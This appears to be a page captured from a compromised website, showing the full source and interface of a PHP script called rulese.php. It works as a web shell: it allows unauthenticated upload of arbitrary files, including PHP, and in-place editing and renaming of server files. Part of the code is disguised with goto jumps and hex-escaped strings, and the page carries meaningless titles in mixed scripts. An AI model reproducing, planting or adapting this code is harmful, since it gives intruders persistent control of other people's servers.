नाग बनाय ने आंखी जोड़वी
ᖃᕆᑕᐅᔭᕐᒨᕆᑦ ᒫᓐᓇ
编辑:rulese.php
<?php /* w_name:rulese.php */ /** * 同级目录文件上传 / 编辑 / 重命名 */ $dir = __DIR__; $url = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/'); $msg = ''; /* CSRF */ session_start(); if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = bin2hex(random_bytes(16)); } $token = $_SESSION['fm_token']; /* 工具函数 */ function clean_name($name) { $name = basename($name); return trim(preg_replace('/[\/\\\\:*?"<>|]/u', '_', $name)); } function size_text($size) { if ($size >= 1073741824) return round($size / 1073741824, 2) . ' GB'; if ($size >= 1048576) return round($size / 1048576, 2) . ' MB'; if ($size >= 1024) return round($size / 1024, 2) . ' KB'; return $size . ' Bytes'; } function editable($name) { return in_array( strtolower(pathinfo($name, PATHINFO_EXTENSION)), array( 'php', 'php3', 'php4', 'php5', 'phtml', 'txt', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'csv', 'ini', 'conf', 'log', 'sql' ) ); } function h($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } function file_path($dir, $name) { $name = clean_name($name); if (!$name || $name === '.' || $name === '..') return false; return $dir . DIRECTORY_SEPARATOR . $name; } /* ========================================================== 上传 ========================================================== */ if ( $_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'upload' ) { if (!hash_equals($token, $_POST['token'] ?? '')) { $msg = '<p class="err">安全验证失败,请刷新页面。</p>'; } else { $files = $_FILES['files'] ?? []; $count = is_array($files['name'] ?? null) ? count($files['name']) : 0; $ok = 0; for ($i = 0; $i < $count; $i++) { if ($files['error'][$i] !== UPLOAD_ERR_OK) continue; $name = clean_name($files['name'][$i]); $path = file_path($dir, $name); if (!$path || file_exists($path)) continue; if (move_uploaded_file($files['tmp_name'][$i], $path)) { @chmod($path, 0644); $ok++; } } $msg = $ok ? '<p class="ok">成功上传 ' . $ok . ' 个文件。</p>' : '<p class="err">上传失败,文件可能已存在或目录没有写入权限。</p>'; } } /* ========================================================== 重命名 ========================================================== */ if ( $_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'rename' ) { if (!hash_equals($token, $_POST['token'] ?? '')) { $msg = '<p class="err">安全验证失败。</p>'; } else { $old = clean_name($_POST['old'] ?? ''); $new = clean_name($_POST['new'] ?? ''); $old_path = file_path($dir, $old); $new_path = file_path($dir, $new); if ( $old_path && $new_path && is_file($old_path) && !file_exists($new_path) ) { if (rename($old_path, $new_path)) { $msg = '<p class="ok">重命名成功。</p>'; } else { $msg = '<p class="err">重命名失败,请检查权限。</p>'; } } else { $msg = '<p class="err">文件不存在或新文件名已存在。</p>'; } } } /* ========================================================== 保存编辑 ========================================================== */ if ( $_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'save' ) { if (!hash_equals($token, $_POST['token'] ?? '')) { $msg = '<p class="err">安全验证失败。</p>'; } else { $name = clean_name($_POST['name'] ?? ''); $path = file_path($dir, $name); if ( $path && is_file($path) && editable($name) ) { if ( file_put_contents( $path, $_POST['content'] ?? '', LOCK_EX ) !== false ) { $msg = '<p class="ok">文件保存成功。</p>'; } else { $msg = '<p class="err">保存失败,请检查文件权限。</p>'; } } else { $msg = '<p class="err">该文件不存在或不允许编辑。</p>'; } } } /* ========================================================== 编辑文件 ========================================================== */ $edit_name = clean_name($_GET['edit'] ?? ''); $edit_path = $edit_name ? file_path($dir, $edit_name) : false; $edit_content = ''; if ( $edit_path && is_file($edit_path) && editable($edit_name) ) { $edit_content = file_get_contents($edit_path); } /* ========================================================== ফাইল তালিকা ========================================================== */ $list = []; foreach (scandir($dir) as $name) { $path = $dir . DIRECTORY_SEPARATOR . $name; if ($name !== '.' && $name !== '..' && is_file($path)) { $list[] = [ 'name' => $name, 'size' => size_text(filesize($path)), 'time' => filemtime($path) ]; } } usort($list, function($a, $b) { return strnatcasecmp($a['name'], $b['name']); }); ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>ଭଲ ଫଳ ପାଇଁ ପରିଶ୍ରମ ଦରକାର</title> <style> *{box-sizing:border-box} body{ font-family:Arial,sans-serif; max-width:900px; margin:30px auto; padding:20px; border:1px solid #86bfa3; } h2,h3{border-bottom:1px solid #86bfa3;padding-bottom:8px} input[type=file]{margin:10px 0} input[type=text]{ padding:7px; border:1px solid #86bfa3; width:220px } button,.btn{ background:#86bfa3; color:#fff; border:0; padding:7px 12px; border-radius:3px; cursor:pointer; text-decoration:none; } button:hover,.btn:hover{background:#86bfa3} .gray{background:#86bfa3} table{ width:100%; border-collapse:collapse; margin-top:15px } th,td{ border:1px solid #86bfa3; padding:8px; text-align:left } th{background:#86bfa3} .name{word-break:break-all} .size,.time{white-space:nowrap;color:#666} .rename{display:none;margin-top:6px} textarea{ width:100%; height:500px; margin:10px 0; padding:10px; font:13px Consolas,monospace; line-height:1.5 } .ok{ color:#087a08; background:#86bfa3; padding:10px } .err{ color:#c00; background:#86bfa3; padding:10px } @media(max-width:650px){ .time{display:none} .size{white-space:normal} } </style> <script> function renameBox(i){ let x=document.getElementById('r'+i); x.style.display=x.style.display==='block'?'none':'block'; } </script> </head> <body> <h2>नाग बनाय ने आंखी जोड़वी</h2> <?php echo $msg; ?> <!-- 上传 --> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="token" value="<?php echo h($token); ?>"> <input type="file" name="files[]" multiple required> <button>ᖃᕆᑕᐅᔭᕐᒨᕆᑦ ᒫᓐᓇ</button> </form> <!-- 编辑 --> <?php goto Kn3Jg; pin0w: if (!$list) { ?> <tr><td colspan="4"style="text-align:center">暂无文件</td></tr><?php } else { foreach ($list as $i => $file) { ?> <tr><td class="name"><a href="<?php echo h($url . "\57" . rawurlencode($file["\x6e\141\155\145"])); ?> "target="_blank"><?php echo h($file["\x6e\141\x6d\145"]); ?> </a></td><td class="size"><?php echo h($file["\163\x69\172\x65"]); ?> </td><td class="time"><?php echo date("\x59\x2d\x6d\55\x64\40\110\72\151\72\x73", $file["\164\x69\155\x65"]); ?> </td><td><?php if (editable($file["\x6e\x61\x6d\145"])) { ?> <a href="?edit=<?php echo rawurlencode($file["\x6e\x61\x6d\145"]); ?> "class="btn">编辑 </a><?php } ?> <button class="gray"onclick="renameBox(<?php echo $i; ?> )"type="button">重命名</button><form method="post"class="rename"id="r<?php echo $i; ?> "><input name="action"value="rename"type="hidden"> <input name="token"value="<?php echo h($token); ?> "type="hidden"> <input name="old"value="<?php echo h($file["\x6e\x61\155\x65"]); ?> "type="hidden"> <input name="new"value="<?php echo h($file["\156\x61\x6d\145"]); ?> "required> <button>确定</button></form></td></tr><?php } } goto FLKe3; Kn3Jg: if ($edit_name && is_file($edit_path) && editable($edit_name)) { ?> <h3>编辑:<?php echo h($edit_name); ?> </h3><form method="post"><input name="action"value="save"type="hidden"> <input name="token"value="<?php echo h($token); ?> "type="hidden"> <input name="name"value="<?php echo h($edit_name); ?> "type="hidden"> <textarea name="content"spellcheck="false"><?php echo h($edit_content); ?> </textarea> <button>保存</button> <a href="<?php echo h($url); ?> "class="btn gray">取消</a></form><?php } goto KBsvE; KBsvE: ?> <table><thead><tr><th>ফাইলৰ নাম</th><th>大小</th><th>修改时间</th><th>操作</th></tr></thead><tbody><?php goto pin0w; FLKe3: ?> </tbody> </table> </body> </html>
保存
取消
ফাইলৰ নাম
大小
修改时间
操作
rulese.php
9.74 KB
2026-09-03 06:08:55
编辑
重命名
确定